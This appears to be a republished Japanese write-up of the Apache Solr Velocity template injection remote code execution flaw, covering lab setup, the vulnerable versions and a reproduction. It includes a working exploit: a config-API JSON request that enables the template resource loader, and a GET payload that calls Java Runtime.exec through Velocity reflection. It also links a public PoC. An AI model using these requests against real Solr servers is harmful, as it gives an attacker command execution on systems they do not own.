ホームページ  >  記事  >  運用・保守  >  Apache Solr ベロシティ テンプレート インジェクション RCE 脆弱性の分析例

Apache Solr ベロシティ テンプレート インジェクション RCE 脆弱性の分析例

WBOY
WBOY転載
2023-05-19 10:37:13983ブラウズ

0x01 概要

Solr は、Web サービス API インターフェイスを通じて外部にサービスを提供できる、エンタープライズ レベルの独立した検索アプリケーション サーバーです。ユーザーは、http リクエストを通じて特定の形式の XML ファイルを検索エンジン サーバーに送信してインデックスを生成できます。また、HTTP Get オペレーションを通じて検索リクエストを作成し、XML 形式で返された結果を取得することもできます。 Apache Solr velocity模板注入RCE漏洞的示例分析

0x02 脆弱性の概要

VelocityResponseWriter コンポーネントは Solr に存在します。攻撃者は、関連する構成を変更する特定のリクエストを作成して、 VelocityResponseWriter コンポーネントが許可すること 指定されたテンプレートをロードすると、Velocity テンプレートにリモート コマンド実行の脆弱性が挿入され、攻撃者はこの脆弱性を利用してサーバーのアクセス許可を直接取得する可能性があります。

0x03 影響範囲

Apache Solr 5.x ~ 8.2.0、構成 API バージョン

存在します 0x04 環境構築

Java8 環境をインストールし、Solr をダウンロードします。ダウンロード アドレス:

https://www.apache.org/dyn/ close.lua /lucene/solr/8.2.0/solr-8.2.0.zip

ダウンロード後、解凍して bin ディレクトリに入って実行します。/solr start

unzip solr-8.2 .0.zip

Apache Solr velocity模板注入RCE漏洞的示例分析

起動中にいくつかの警告メッセージが表示されます。bin にある solr.in.sh ファイルを変更し、SOLR_ULIMIT_CHECKS を false

に設定することで、警告メッセージを取り除くことができます。

vim solr.in.sh

Apache Solr velocity模板注入RCE漏洞的示例分析

Apache Solr velocity模板注入RCE漏洞的示例分析その後、もう一度開始します。/solr start root の起動に失敗した場合は、その後に -force を追加します

# #ブラウザで http://ip:8983 にアクセスすると、インストールが成功したことを示す次のインターフェイスが表示されますApache Solr velocity模板注入RCE漏洞的示例分析

#しかし、コアを作成できないことがわかります

Apache Solr velocity模板注入RCE漏洞的示例分析#まず、/server/solr に手動でインストールします。/ ディレクトリに new_core フォルダーを作成し、次に /server/solr/configsets/_default/ の下にある conf ディレクトリを new_core ディレクトリにコピーして、[Create] をクリックします

Apache Solr velocity模板注入RCE漏洞的示例分析

# 0x05 脆弱性の再発

コアを作成した後、アプリケーション構成ファイルにアクセスできるかどうかを確認するためにアクセスしてください

http:/ /ip:8983/solr/new_core/config

Apache Solr には、デフォルトで VelocityResponseWriter プラグインが統合されており、プラグイン初期化パラメータの params.resource.loader.enabled のデフォルト値が設定されていますただし、統合設定は POST リクエストを通じて直接変更でき、これを true に設定すると、特別な GET リクエストを作成してリモート コードを実行できます。 Apache Solr velocity模板注入RCE漏洞的示例分析

Burp を使用してこのページのパッケージを取得し、POST リクエストを直接構築し、次のデータを追加します

{

"update-queryresponsewriter": {

"startup": "lazy",

"name": "velocity",

"class": "solr.VelocityResponseWriter",

"テンプレート。 base.dir" : "",

"solr.resource.loader.enabled": "true",

"params.resource.loader.enabled": "true"

}

}

次に、RCEApache Solr velocity模板注入RCE漏洞的示例分析

ペイロードを実装するペイロードを構築できます:

http :// ip:8983/solr/test/select?q=1&&wt=velocity&v.template=custom&v.template.custom=#set($x='') #set($rt=$x.class.forName(' java.lang .Runtime')) #set($chr=$x.class.forName('java.lang.Character')) #set($str=$x.class.forName('java.lang.String' )) # set($ex=$rt.getRuntime().exec('id')) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1. .$out .available()])$str.valueOf($chr.toChars($out.read()))#end

POC アドレス: https:/ /github.com/wyzxxz/Apache_Solr_RCE_via_Velocity_templateApache Solr velocity模板注入RCE漏洞的示例分析

#0x06 修復方法

最新バージョンにアップデート

以上がApache Solr ベロシティ テンプレート インジェクション RCE 脆弱性の分析例の詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。

声明:
この記事はyisu.comで複製されています。侵害がある場合は、admin@php.cn までご連絡ください。